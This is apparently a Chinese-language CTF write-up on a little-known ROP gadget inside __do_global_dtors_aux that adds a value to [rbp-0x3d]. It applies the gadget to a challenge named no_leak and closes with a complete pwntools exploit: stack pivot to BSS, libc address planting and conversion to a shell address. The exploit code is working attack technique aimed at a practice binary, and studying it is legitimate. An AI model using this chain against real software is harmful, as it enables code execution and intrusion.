此gadget平常很少见,我也是第一次见到,但也不是没有,通常存在于__do_global_dtors_aux中,有其他师傅认为是出题人手写的asm,但我认为,更多应该是编译器的缘故
解析
1 | .text:0000000000400500 __do_global_dtors_aux proc near ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o |
2 | .text:0000000000400500 cmp cs:__bss_start, 0 |
3 | .text:0000000000400507 jnz short locret_400520 |
4 | .text:0000000000400509 push rbp |
5 | .text:000000000040050A mov rbp, rsp |
6 | .text:000000000040050D call deregister_tm_clones |
7 | .text:000000000040050D ; --------------------------------------------------------------------------- |
8 | .text:0000000000400512 db 0C6h |
9 | .text:0000000000400513 db 5 |
10 | .text:0000000000400514 db 0F7h |
11 | .text:0000000000400515 db 0Ah |
12 | .text:0000000000400516 db 20h |
13 | .text:0000000000400517 db 0 |
14 | .text:0000000000400518 ; --------------------------------------------------------------------------- |
15 | .text:0000000000400518 add [rbp-3Dh], ebx |
16 | .text:000000000040051B nop dword ptr [rax+rax+00h] |
17 | .text:0000000000400520 |
18 | .text:0000000000400520 locret_400520: ; CODE XREF: __do_global_dtors_aux+7↑j |
19 | .text:0000000000400520 rep retn |
在IDA里面可以将这段汇编拆成如上一小段,如此即可往[RBP-0x3Dh]处加上一定的值,那么只要在程序某个确定的地址保存有动态链接的地址,且此处具有可写权限,则可以将这里修改为rce的地址或者system的地址
No_leak
为此找到了no_leak这个题,由于没有打印信息的函数,且程序PIE是关闭的,通常就会想到ret2dl_resolve,观摩了一个师傅的题解,貌似ret2dl_resolve的方法不能用,因此他选择的此magic_gadget
1 | Arch: amd64-64-little |
2 | RELRO: Full RELRO |
3 | Stack: No canary found |
4 | NX: NX enabled |
5 | PIE: No PIE (0x400000) |
然而,程序GOT表不可以修改,但当调用libc_start_main会在栈上填充一些内容,而其中包括动态链接地址,只要可以将程序栈迁移到BSS段上,那么调用libc_start_main填充的内容就会分布在BSS段上
而程序地址随机化关闭,因此采用magic_gadget即可将某个动态链接地址转化成rce地址,再次回到主函数,则形成了一个常见的栈溢出
MAIN LIBC:2.30 EXP
1 | from pwn import* |
2 | from LD import* |
3 | p = process('./main') |
4 | elf =ELF('./main') |
5 | libc = ELF('./libc-2.30.so',checksec=False) |
6 | |
7 | gadget_reg = 0x4005CA |
8 | gadget_call= 0x4005B0 |
9 | magic_gadget = 0x400518 |
10 | pop_rdi_ret = 0x4005D3 |
11 | pop_rsi_r15 = 0x4005D1 |
12 | leave_ret = 0x400564 |
13 | buf_address = elf.bss() + 0x500 |
14 | fini = 0x4005E0 |
15 | init = 0x400570 |
16 | main = 0x400450 |
17 | #--------------- |
18 | payload = '\x00'*0x80 + p64(buf_address -8) |
19 | payload += p64(pop_rdi_ret) + p64(0) |
20 | payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read']) |
21 | payload += p64(leave_ret) |
22 | p.send(payload) |
23 | |
24 | payload = p64(gadget_reg) |
25 | payload += p64(0) + p64(1) |
26 | payload += p64(elf.got['__libc_start_main']) |
27 | payload += p64(main) + p64(fini) + p64(init) |
28 | payload += p64(gadget_call) |
29 | p.send(payload) |
30 | #--------------- it has called the function named __libc_start_main |
31 | |
32 | payload = '\x00'*0x80 + p64(buf_address) |
33 | payload += p64(gadget_reg) |
34 | payload += p64(0xFFFFFFFFFFEF3D3B) #p64(0xFFFFFFFFFFC5EC9D) |
35 | payload += p64(0x601485) |
36 | payload += p64(0)*4 |
37 | payload += p64(magic_gadget) |
38 | payload += p64(main) |
39 | p.sendline(payload) |
40 | #--------------- the system_address has been left in BSS |
41 | rce = 0x601448 |
42 | p.sendline('\x00'*0x80 + p64(rce -8) + p64(leave_ret)) |
43 | p.interactive() |